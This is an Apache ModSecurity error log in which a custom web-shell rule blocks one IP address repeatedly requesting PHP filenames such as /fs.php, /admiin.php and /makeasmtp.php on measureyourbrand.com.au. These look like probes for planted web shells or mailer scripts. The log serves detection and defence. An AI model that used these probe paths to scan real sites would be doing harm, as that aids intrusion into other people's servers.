[Wed Feb 25 02:59:49.922311 2026] [:error] [pid 26872:tid 26879] [client 20.216.146.160:31106] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fs.php"] [unique_id "aZ31JXxLbzvRGuzwKjkgCAAAAEU"]
[Wed Feb 25 02:59:50.980901 2026] [:error] [pid 26872:tid 26874] [client 20.216.146.160:32047] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fs.php"] [unique_id "aZ31JnxLbzvRGuzwKjkgDQAAAEA"]
[Wed Feb 25 02:59:52.628097 2026] [:error] [pid 26872:tid 26894] [client 20.216.146.160:31128] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fs.php"] [unique_id "aZ31KHxLbzvRGuzwKjkgFgAAAFQ"]
[Wed Feb 25 02:59:55.200860 2026] [:error] [pid 18850:tid 18855] [client 20.216.146.160:32446] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fs.php"] [unique_id "aZ31K-DBmHucoAJRnqkm1wAAAAM"]
[Wed Feb 25 03:00:03.927447 2026] [:error] [pid 18447:tid 18767] [client 20.216.146.160:33210] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms.php"] [unique_id "aZ31M8-TpHVc8yBj5ebFtQAAAgQ"]
[Wed Feb 25 03:00:06.522106 2026] [:error] [pid 18447:tid 18769] [client 20.216.146.160:35429] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms.php"] [unique_id "aZ31Ns-TpHVc8yBj5ebFuAAAAgY"]
[Wed Feb 25 03:00:08.083476 2026] [:error] [pid 18458:tid 18810] [client 20.216.146.160:37091] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms.php"] [unique_id "aZ31OAuir-tBe4tUismlgAAAAo8"]
[Wed Feb 25 03:00:17.315846 2026] [:error] [pid 26872:tid 26886] [client 20.216.146.160:30751] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cu.php"] [unique_id "aZ31QXxLbzvRGuzwKjkgXQAAAEw"]
[Wed Feb 25 03:00:18.259095 2026] [:error] [pid 18447:tid 18779] [client 20.216.146.160:11074] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cu.php"] [unique_id "aZ31Qs-TpHVc8yBj5ebFzQAAAhA"]
[Wed Feb 25 03:00:19.108687 2026] [:error] [pid 18458:tid 18801] [client 20.216.146.160:11109] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cu.php"] [unique_id "aZ31Qwuir-tBe4tUismlkAAAAoc"]
[Wed Feb 25 03:00:20.356604 2026] [:error] [pid 18850:tid 18871] [client 20.216.146.160:44713] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cu.php"] [unique_id "aZ31RODBmHucoAJRnqkm7AAAABM"]
[Wed Feb 25 03:00:22.083421 2026] [:error] [pid 26872:tid 26888] [client 20.216.146.160:42557] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/0.php"] [unique_id "aZ31RnxLbzvRGuzwKjkgZwAAAE4"]
[Wed Feb 25 03:00:23.619581 2026] [:error] [pid 18850:tid 18863] [client 20.216.146.160:11094] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/0.php"] [unique_id "aZ31R-DBmHucoAJRnqkm7gAAAAs"]
[Wed Feb 25 03:00:24.638040 2026] [:error] [pid 18441:tid 18722] [client 20.216.146.160:30349] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/0.php"] [unique_id "aZ31SBYF1wpOnXIaHlOnjQAAAM4"]
[Wed Feb 25 03:00:25.540960 2026] [:error] [pid 26872:tid 26884] [client 20.216.146.160:50894] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/0.php"] [unique_id "aZ31SXxLbzvRGuzwKjkgbgAAAEo"]
[Wed Feb 25 03:00:27.673377 2026] [:error] [pid 18850:tid 18858] [client 20.216.146.160:30410] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "aZ31S-DBmHucoAJRnqkm-gAAAAY"]
[Wed Feb 25 03:00:28.524682 2026] [:error] [pid 26872:tid 26888] [client 20.216.146.160:11638] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "aZ31THxLbzvRGuzwKjkgdgAAAE4"]
[Wed Feb 25 03:00:29.307613 2026] [:error] [pid 26872:tid 26895] [client 20.216.146.160:55500] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "aZ31TXxLbzvRGuzwKjkgfAAAAFU"]
[Wed Feb 25 03:00:29.975343 2026] [:error] [pid 26872:tid 26893] [client 20.216.146.160:42131] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "aZ31TXxLbzvRGuzwKjkggAAAAFM"]
[Wed Feb 25 03:00:30.955584 2026] [:error] [pid 18447:tid 18781] [client 20.216.146.160:41714] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/grsiuk.php"] [unique_id "aZ31Ts-TpHVc8yBj5ebF3QAAAhI"]
[Wed Feb 25 03:00:31.758631 2026] [:error] [pid 26872:tid 26879] [client 20.216.146.160:41438] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/grsiuk.php"] [unique_id "aZ31T3xLbzvRGuzwKjkghAAAAEU"]
[Wed Feb 25 03:00:34.535938 2026] [:error] [pid 26872:tid 26892] [client 20.216.146.160:44012] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/grsiuk.php"] [unique_id "aZ31UnxLbzvRGuzwKjkgkAAAAFI"]
[Wed Feb 25 03:00:35.888015 2026] [:error] [pid 26872:tid 26889] [client 20.216.146.160:30927] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/grsiuk.php"] [unique_id "aZ31U3xLbzvRGuzwKjkglQAAAE8"]
[Wed Feb 25 03:00:36.789264 2026] [:error] [pid 26872:tid 26885] [client 20.216.146.160:32868] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-blog.php"] [unique_id "aZ31VHxLbzvRGuzwKjkgmwAAAEs"]
[Wed Feb 25 03:00:37.798023 2026] [:error] [pid 18850:tid 18860] [client 20.216.146.160:30914] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-blog.php"] [unique_id "aZ31VeDBmHucoAJRnqkm_gAAAAg"]
[Wed Feb 25 03:00:39.052060 2026] [:error] [pid 18850:tid 18861] [client 20.216.146.160:42071] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-blog.php"] [unique_id "aZ31V-DBmHucoAJRnqknAgAAAAk"]
[Wed Feb 25 03:00:50.791043 2026] [:error] [pid 18850:tid 18862] [client 20.216.146.160:31288] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dev1s.php"] [unique_id "aZ31YuDBmHucoAJRnqknLAAAAAo"]
[Wed Feb 25 03:00:54.001921 2026] [:error] [pid 18458:tid 18809] [client 20.216.146.160:33634] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dev1s.php"] [unique_id "aZ31Zguir-tBe4tUismlpgAAAo4"]
[Wed Feb 25 03:00:56.616570 2026] [:error] [pid 18850:tid 18861] [client 20.216.146.160:38298] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dev1s.php"] [unique_id "aZ31aODBmHucoAJRnqknNwAAAAk"]
[Wed Feb 25 03:00:57.966161 2026] [:error] [pid 18458:tid 18793] [client 20.216.146.160:39098] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dev1s.php"] [unique_id "aZ31aQuir-tBe4tUismlrwAAAoA"]
[Wed Feb 25 03:00:58.875523 2026] [:error] [pid 18458:tid 18796] [client 20.216.146.160:41584] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ffd.php"] [unique_id "aZ31aguir-tBe4tUismlsAAAAoM"]
[Wed Feb 25 03:00:59.743833 2026] [:error] [pid 18850:tid 18857] [client 20.216.146.160:39076] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ffd.php"] [unique_id "aZ31a-DBmHucoAJRnqknPgAAAAU"]
[Wed Feb 25 03:01:01.955643 2026] [:error] [pid 18850:tid 18854] [client 20.216.146.160:50969] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ffd.php"] [unique_id "aZ31beDBmHucoAJRnqknQwAAAAI"]
[Wed Feb 25 03:01:02.786992 2026] [:error] [pid 18441:tid 18712] [client 20.216.146.160:43970] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ffd.php"] [unique_id "aZ31bhYF1wpOnXIaHlOnowAAAMQ"]
[Wed Feb 25 03:01:03.416834 2026] [:error] [pid 18458:tid 18800] [client 20.216.146.160:33618] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admiin.php"] [unique_id "aZ31bwuir-tBe4tUismltgAAAoY"]
[Wed Feb 25 03:01:04.744908 2026] [:error] [pid 26872:tid 26884] [client 20.216.146.160:38273] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admiin.php"] [unique_id "aZ31cHxLbzvRGuzwKjkgvAAAAEo"]
[Wed Feb 25 03:01:05.576520 2026] [:error] [pid 26872:tid 26876] [client 20.216.146.160:50980] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admiin.php"] [unique_id "aZ31cXxLbzvRGuzwKjkgvwAAAEI"]
[Wed Feb 25 03:01:06.379944 2026] [:error] [pid 26872:tid 26885] [client 20.216.146.160:36837] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admiin.php"] [unique_id "aZ31cnxLbzvRGuzwKjkgwQAAAEs"]
[Wed Feb 25 03:01:07.754977 2026] [:error] [pid 18850:tid 18875] [client 20.216.146.160:35352] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ol.php"] [unique_id "aZ31c-DBmHucoAJRnqknSQAAABc"]
[Wed Feb 25 03:01:08.813445 2026] [:error] [pid 18458:tid 18799] [client 20.216.146.160:33639] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ol.php"] [unique_id "aZ31dAuir-tBe4tUismlvQAAAoU"]
[Wed Feb 25 03:01:09.542624 2026] [:error] [pid 18850:tid 18868] [client 20.216.146.160:50999] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ol.php"] [unique_id "aZ31deDBmHucoAJRnqknUAAAABA"]
[Wed Feb 25 03:01:11.422107 2026] [:error] [pid 18850:tid 18866] [client 20.216.146.160:43993] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ol.php"] [unique_id "aZ31d-DBmHucoAJRnqknVQAAAA4"]
[Wed Feb 25 03:01:13.931908 2026] [:error] [pid 18447:tid 18765] [client 20.216.146.160:40556] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Sanskrit.php"] [unique_id "aZ31ec-TpHVc8yBj5ebGGwAAAgI"]
[Wed Feb 25 03:01:15.421867 2026] [:error] [pid 26872:tid 26887] [client 20.216.146.160:44508] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Sanskrit.php"] [unique_id "aZ31e3xLbzvRGuzwKjkg3QAAAE0"]
[Wed Feb 25 03:01:16.521961 2026] [:error] [pid 18850:tid 18860] [client 20.216.146.160:40142] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Sanskrit.php"] [unique_id "aZ31fODBmHucoAJRnqknZQAAAAg"]
[Wed Feb 25 03:01:18.614342 2026] [:error] [pid 18447:tid 18775] [client 20.216.146.160:11423] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Sanskrit.php"] [unique_id "aZ31fs-TpHVc8yBj5ebGHgAAAgw"]
[Wed Feb 25 03:01:19.415316 2026] [:error] [pid 18447:tid 18763] [client 20.216.146.160:44515] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vxrl.php"] [unique_id "aZ31f8-TpHVc8yBj5ebGIAAAAgA"]
[Wed Feb 25 03:01:21.273828 2026] [:error] [pid 18458:tid 18793] [client 20.216.146.160:40521] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vxrl.php"] [unique_id "aZ31gQuir-tBe4tUismlzgAAAoA"]
[Wed Feb 25 03:01:22.314344 2026] [:error] [pid 18447:tid 18771] [client 20.216.146.160:37552] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vxrl.php"] [unique_id "aZ31gs-TpHVc8yBj5ebGKQAAAgg"]
[Wed Feb 25 03:01:23.284713 2026] [:error] [pid 18447:tid 18764] [client 20.216.146.160:34982] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vxrl.php"] [unique_id "aZ31g8-TpHVc8yBj5ebGKwAAAgE"]
[Wed Feb 25 03:01:24.476261 2026] [:error] [pid 18850:tid 18857] [client 20.216.146.160:35618] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/re.php"] [unique_id "aZ31hODBmHucoAJRnqkndgAAAAU"]
[Wed Feb 25 03:01:25.386618 2026] [:error] [pid 18850:tid 18875] [client 20.216.146.160:30711] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/re.php"] [unique_id "aZ31heDBmHucoAJRnqknewAAABc"]
[Wed Feb 25 03:01:26.062949 2026] [:error] [pid 18850:tid 18852] [client 20.216.146.160:42614] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/re.php"] [unique_id "aZ31huDBmHucoAJRnqknfgAAAAA"]
[Wed Feb 25 03:01:27.933858 2026] [:error] [pid 18441:tid 18729] [client 20.216.146.160:44523] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/re.php"] [unique_id "aZ31hxYF1wpOnXIaHlOnrgAAANQ"]
[Wed Feb 25 03:01:42.658045 2026] [:error] [pid 18458:tid 18795] [client 20.216.146.160:39488] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/num.php"] [unique_id "aZ31lguir-tBe4tUisml4wAAAoI"]
[Wed Feb 25 03:01:44.276769 2026] [:error] [pid 26872:tid 26883] [client 20.216.146.160:31025] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/makeasmtp.php"] [unique_id "aZ31mHxLbzvRGuzwKjkhDQAAAEk"]
